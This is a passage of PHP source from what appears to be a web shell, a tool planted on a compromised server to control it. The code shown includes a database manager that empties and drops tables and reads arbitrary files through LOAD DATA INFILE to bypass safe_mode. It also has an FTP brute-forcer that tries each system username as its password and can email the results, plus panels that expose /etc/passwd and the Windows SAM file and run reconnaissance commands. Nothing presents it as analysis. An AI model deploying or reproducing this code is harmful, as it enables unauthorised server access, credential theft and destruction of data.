  979. if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  980. echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  981. }
  982. }
  983. if ($sql_tbl_act == "browse") {
  984. $sql_tbl_ls = abs($sql_tbl_ls);
  985. $sql_tbl_le = abs($sql_tbl_le);
  986. echo "<hr size=\"1\" noshade>";
  987. echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  988. $b = 0;
  989. for($i=0;$i<$numpages;$i++) {
  990. if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  991. echo $i;
  992. if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  993. if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  994. else {echo "&nbsp;";}
  995. }
  996. if ($i == 0) {echo "empty";}
  997. echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  998. echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
  999. echo "<tr>";
  1000. echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1001. for ($i=0;$i<mysql_num_fields($result);$i++) {
  1002. $v = mysql_field_name($result,$i);
  1003. if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1004. else {$s = "a"; $m = "desc";}
  1005. echo "<td>";
  1006. if (empty($e[0])) {$e[0] = "a";}
  1007. if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1008. else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1009. echo "</td>";
  1010. }
  1011. echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1012. echo "</tr>";
  1013. while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
  1014. echo "<tr>";
  1015. $w = "";
  1016. $i = 0;
  1017. foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1018. if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1019. echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1020. $i = 0;
  1021. foreach ($row as $k=>$v)
  1022. {
  1023. $v = htmlspecialchars($v);
  1024. if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1025. echo "<td>".$v."</td>";
  1026. $i++;
  1027. }
  1028. echo "<td>";
  1029. echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1030. echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1031. echo "</td>";
  1032. echo "</tr>";
  1033. }
  1034. mysql_free_result($result);
  1035. echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1036. echo "<option value=\"\">With selected:</option>";
  1037. echo "<option value=\"deleterow\">Delete</option>";
  1038. echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1039. }
  1040. }
  1041. else {
  1042. $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1043. if (!$result) {echo mysql_smarterror();}
  1044. else
  1045. {
  1046. echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1047. $i = 0;
  1048. $tsize = $trows = 0;
  1049. while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1050. {
  1051. $tsize += $row["Data_length"];
  1052. $trows += $row["Rows"];
  1053. $size = view_size($row["Data_length"]);
  1054. echo "<tr>";
  1055. echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1056. echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1057. echo "<td>".$row["Rows"]."</td>";
  1058. echo "<td>".$row["Type"]."</td>";
  1059. echo "<td>".$row["Create_time"]."</td>";
  1060. echo "<td>".$row["Update_time"]."</td>";
  1061. echo "<td>".$size."</td>";
  1062. echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1063. echo "</tr>";
  1064. $i++;
  1065. }
  1066. echo "<tr bgcolor=\"000000\">";
  1067. echo "<td><center><b>+</b></center></td>";
  1068. echo "<td><center><b>".$i." table(s)</b></center></td>";
  1069. echo "<td><b>".$trows."</b></td>";
  1070. echo "<td>".$row[1]."</td>";
  1071. echo "<td>".$row[10]."</td>";
  1072. echo "<td>".$row[11]."</td>";
  1073. echo "<td><b>".view_size($tsize)."</b></td>";
  1074. echo "<td></td>";
  1075. echo "</tr>";
  1076. echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1077. echo "<option value=\"\">With selected:</option>";
  1078. echo "<option value=\"tbldrop\">Drop</option>";
  1079. echo "<option value=\"tblempty\">Empty</option>";
  1080. echo "<option value=\"tbldump\">Dump</option>";
  1081. echo "<option value=\"tblcheck\">Check table</option>";
  1082. echo "<option value=\"tbloptimize\">Optimize table</option>";
  1083. echo "<option value=\"tblrepair\">Repair table</option>";
  1084. echo "<option value=\"tblanalyze\">Analyze table</option>";
  1085. echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1086. mysql_free_result($result);
  1087. }
  1088. }
  1089. }
  1090. }
  1091. }
  1092. else {
  1093. $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1094. if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1095. if (!empty($sql_act)) {
  1096. echo "<hr size=\"1\" noshade>";
  1097. if ($sql_act == "newdb") {
  1098. echo "<b>";
  1099. if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1100. else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1101. }
  1102. if ($sql_act == "serverstatus") {
  1103. $result = mysql_query("SHOW STATUS", $sql_sock);
  1104. echo "<center><b>Server-status variables:</b><br><br>";
  1105. echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1106. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1107. echo "</table></center>";
  1108. mysql_free_result($result);
  1109. }
  1110. if ($sql_act == "servervars") {
  1111. $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1112. echo "<center><b>Server variables:</b><br><br>";
  1113. echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1114. while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1115. echo "</table>";
  1116. mysql_free_result($result);
  1117. }
  1118. if ($sql_act == "processes") {
  1119. if (!empty($kill)) {
  1120. $query = "KILL ".$kill.";";
  1121. $result = mysql_query($query, $sql_sock);
  1122. echo "<b>Process #".$kill." was killed.</b>";
  1123. }
  1124. $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1125. echo "<center><b>Processes:</b><br><br>";
  1126. echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1127. while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1128. echo "</table>";
  1129. mysql_free_result($result);
  1130. }
  1131. if ($sql_act == "getfile")
  1132. {
  1133. $tmpdb = $sql_login."_tmpdb";
  1134. $select = mysql_select_db($tmpdb);
  1135. if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1136. if ($select)
  1137. {
  1138. $created = FALSE;
  1139. mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1140. mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1141. $result = mysql_query("SELECT * FROM tmp_file;");
  1142. if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1143. else
  1144. {
  1145. for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1146. $f = "";
  1147. while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1148. if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1149. else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1150. mysql_free_result($result);
  1151. mysql_query("DROP TABLE tmp_file;");
  1152. }
  1153. }
  1154. mysql_drop_db($tmpdb);
  1155. }
  1156. }
  1157. }
  1158. }
  1159. echo "</td></tr></table>\n";
  1160. if ($sql_sock) {
  1161. $affected = @mysql_affected_rows($sql_sock);
  1162. if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1163. echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
  1164. }
  1165. echo "</table>\n";
  1166. }
  1167. //End of SQL Manager
  1168. if ($act == "ftpquickbrute") {
  1169. echo "<center><table><tr><td class=barheader colspan=2>";
  1170. echo ".: Ftp Quick Brute :.</td></tr>";
  1171. echo "<tr><td>";
  1172. if ($win) { echo "Can't run on Windows!"; }
  1173. else {
  1174. function tpftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
  1175. if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1176. else {$TRUE = TRUE;}
  1177. if ($TRUE) {
  1178. $sock = @ftp_connect($host,$port,$timeout);
  1179. if (@ftp_login($sock,$login,$pass)) {
  1180. echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1181. ob_flush();
  1182. return TRUE;
  1183. }
  1184. }
  1185. }
  1186. if (!empty($submit)) {
  1187. if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1188. $fp = fopen("/etc/passwd","r");
  1189. if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1190. else {
  1191. if ($fqb_logging) {
  1192. if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1193. else {$fqb_logfp = FALSE;}
  1194. $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1195. if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1196. }
  1197. ob_flush();
  1198. $i = $success = 0;
  1199. $ftpquick_st = getmicrotime();
  1200. while(!feof($fp)) {
  1201. $str = explode(":",fgets($fp,2048));
  1202. if (tpftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
  1203. echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1204. $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1205. if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1206. $success++;
  1207. ob_flush();
  1208. }
  1209. if ($i > $fqb_lenght) {break;}
  1210. $i++;
  1211. }
  1212. if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1213. $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1214. echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1215. $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1216. if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1217. if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
  1218. fclose($fqb_logfp);
  1219. }
  1220. }
  1221. else {
  1222. $logfile = $tmpdir_logs."tpsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1223. $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1224. echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">".
  1225. "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
  1226. "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
  1227. "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
  1228. "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
  1229. "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
  1230. "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
  1231. }
  1232. echo "</td></tr></table></center>";
  1233. }
  1234. }
  1235. if ($act == "d") {
  1236. if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
  1237. else {
  1238. echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1239. if (!$win) {
  1240. echo "<tr><td><b>Owner/Group</b></td><td> ";
  1241. $ow = posix_getpwuid(fileowner($d));
  1242. $gr = posix_getgrgid(filegroup($d));
  1243. $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1244. }
  1245. echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
  1246. }
  1247. }
  1248. if ($act == "phpinfo") {@ob_clean(); phpinfo(); tpshexit();}
  1249. if ($act == "security") {
  1250. echo "<div class=barheader>.: Server Security Information :.</div>\n".
  1251. "<table>\n".
  1252. "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n";
  1253. echo "<td>Password File</td><td>";
  1254. if (!$win) {
  1255. if ($nixpasswd) {
  1256. if ($nixpasswd == 1) {$nixpasswd = 0;}
  1257. echo "*nix /etc/passwd:<br>";
  1258. if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1259. if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1260. echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1261. $i = $nixpwd_s;
  1262. while ($i < $nixpwd_e) {
  1263. $uid = posix_getpwuid($i);
  1264. if ($uid) {
  1265. $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1266. echo join(":",$uid)."<br>";
  1267. }
  1268. $i++;
  1269. }
  1270. }
  1271. else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";}
  1272. }
  1273. else {
  1274. $v = $_SERVER["WINDIR"]."\repair\sam";
  1275. if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; }
  1276. }
  1277. echo "</td></tr>\n";
  1278. echo "<tr><td>Config Files</td><td>\n";
  1279. if (!$win) {
  1280. $v = array(
  1281. array("User Domains","/etc/userdomains"),
  1282. array("Cpanel Config","/var/cpanel/accounting.log"),
  1283. array("Apache Config","/usr/local/apache/conf/httpd.conf"),
  1284. array("Apache Config","/etc/httpd.conf"),
  1285. array("Syslog Config","/etc/syslog.conf"),
  1286. array("Message of The Day","/etc/motd"),
  1287. array("Hosts","/etc/hosts")
  1288. );
  1289. $sep = "/";
  1290. }
  1291. else {
  1292. $windir = $_SERVER["WINDIR"];
  1293. $etcdir = $windir . "\system32\drivers\etc\\";
  1294. $v = array(
  1295. array("Hosts",$etcdir."hosts"),
  1296. array("Local Network Map",$etcdir."networks"),
  1297. array("LM Hosts",$etcdir."lmhosts.sam"),
  1298. );
  1299. $sep = "\\";
  1300. }
  1301. foreach ($v as $sec_arr) {
  1302. $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
  1303. $sec_d = rtrim($sec_arr[1],$sec_f);
  1304. $sec_full = $sec_d.$sec_f;
  1305. $sec_d = rtrim($sec_d,$sep);
  1306. if (file_get_contents($sec_full)) {
  1307. echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n";
  1308. }
  1309. }
  1310. echo "</td></tr>";
  1311.  
  1312. function displaysecinfo($name,$value) {
  1313. if (!empty($value)) {
  1314. echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n";
  1315. }
  1316. }
  1317. if (!$win) {
  1318. displaysecinfo("OS Version",tpexec("cat /proc/version"));
  1319. displaysecinfo("Kernel Version",tpexec("sysctl -a | grep version"));
  1320. displaysecinfo("Distrib Name",tpexec("cat /etc/issue.net"));
  1321. displaysecinfo("Distrib Name (2)",tpexec("cat /etc/*-realise"));
  1322. displaysecinfo("CPU Info",tpexec("cat /proc/cpuinfo"));
  1323. displaysecinfo("RAM",tpexec("free -m"));
  1324. displaysecinfo("HDD Space",tpexec("df -h"));
  1325. displaysecinfo("List of Attributes",tpexec("lsattr -a"));
  1326. displaysecinfo("Mount Options",tpexec("cat /etc/fstab"));
  1327. displaysecinfo("lynx installed?",tpexec("which lynx"));
  1328. displaysecinfo("links installed?",tpexec("which links"));
  1329. displaysecinfo("GET installed?",tpexec("which GET"));
  1330. displaysecinfo("Where is Apache?",tpexec("whereis apache"));
  1331. displaysecinfo("Where is perl?",tpexec("whereis perl"));
  1332. displaysecinfo("Locate proftpd.conf",tpexec("locate proftpd.conf"));
  1333. displaysecinfo("Locate httpd.conf",tpexec("locate httpd.conf"));
  1334. displaysecinfo("Locate my.conf",tpexec("locate my.conf"));
  1335. displaysecinfo("Locate psybnc.conf",tpexec("locate psybnc.conf"));
  1336. }
  1337. else {
  1338. displaysecinfo("OS Version",tpexec("ver"));
  1339. displaysecinfo("Account Settings",tpexec("net accounts"));
  1340. displaysecinfo("User Accounts",tpexec("net user"));
  1341. }
  1342. echo "</table>\n";
  1343. }
  1344. if ($act == "mkfile") {
  1345. if ($mkfile != $d) {
  1346. if ($overwrite == 0) {
  1347. if (file_exists($mkfile)) { echo "<b>FILE EXIST:</b> $overwrite ".htmlspecialchars($mkfile); }
  1348. }
  1349. else {
  1350. if (!fopen($mkfile,"w")) { echo "<b>ACCESS DENIED:</b> ".htmlspecialchars($mkfile); }
  1351. else { $act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile); }
  1352. }
  1353. }
  1354. else { echo "<div class=fxerrmsg>Enter filename!</div>\r\n"; }
  1355. }
  1356. if ($act == "encoder") {
  1357. echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
  1358. "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
  1359. "<input type=hidden name=act value=encoder>".
  1360. "<center><table class=contents>".
  1361. "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
  1362. "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
  1363. "<input type=submit value=\"calculate\"></td></tr>".
  1364. "<tr><td rowspan=4>Hashes:</td>";
  1365. foreach(array("md5","crypt","sha1","crc32") as $v) {
  1366. echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
  1367. }
  1368. echo "</tr>".
  1369. "<tr><td rowspan=2>Url:</td>".
  1370. "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
  1371. "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
  1372. "<tr><td rowspan=2>Base64:</td>".
  1373. "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
  1374. "<tr><td>base64_decode:</td><td>";
  1375. if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
  1376. else {
  1377. $debase64 = base64_decode($encoder_input);
  1378. $debase64 = str_replace("\0","[0]",$debase64);
  1379. $a = explode("\r\n",$debase64);
  1380. $rows = count($a);
  1381. $debase64 = htmlspecialchars($debase64);
  1382. if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
  1383. else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
  1384. echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
  1385. }
  1386. echo "</td></tr>".
  1387. "<tr><td>Base convertations:</td><td>dec2hex</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
  1388. $c = strlen($encoder_input);
  1389. for($i=0;$i<$c;$i++) {
  1390. $hex = dechex(ord($encoder_input[$i]));
  1391. if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  1392. elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
  1393. }
  1394. echo "\" readonly></td></tr></table></center></form>";
  1395. }
  1396. if ($act == "fsbuff") {
  1397. $arr_copy = $sess_data["copy"];
  1398. $arr_cut = $sess_data["cut"];
  1399. $arr = array_merge($arr_copy,$arr_cut);
  1400. if (count($arr) == 0) {echo "<h2><center>Buffer is empty!</center></h2>";}
  1401. else {
  1402. $fx_infohead = "File-System Buffer";
  1403. $ls_arr = $arr;
  1404. $disp_fullpath = TRUE;
  1405. $act = "ls";
  1406. }
  1407. }
  1408. if ($act == "selfremove") {
  1409. if (($submit == $rndcode) and ($submit != "")) {
  1410. if (unlink(__FILE__)) { @ob_clean(); echo "Thanks for using ".$sh_name."!"; tpshexit(); }
  1411. else { echo "<center><b>Can't delete ".__FILE__."!</b></center>"; }
  1412. }
  1413. else {
  1414. if (!empty($rndcode)) {echo "<b>Error: incorrect confirmation!</b>";}
  1415. $rnd = rand(0,9).rand(0,9).rand(0,9);
  1416. echo "<form action=\"".$surl."\">\n".
  1417. "<input type=hidden name=act value=selfremove>".
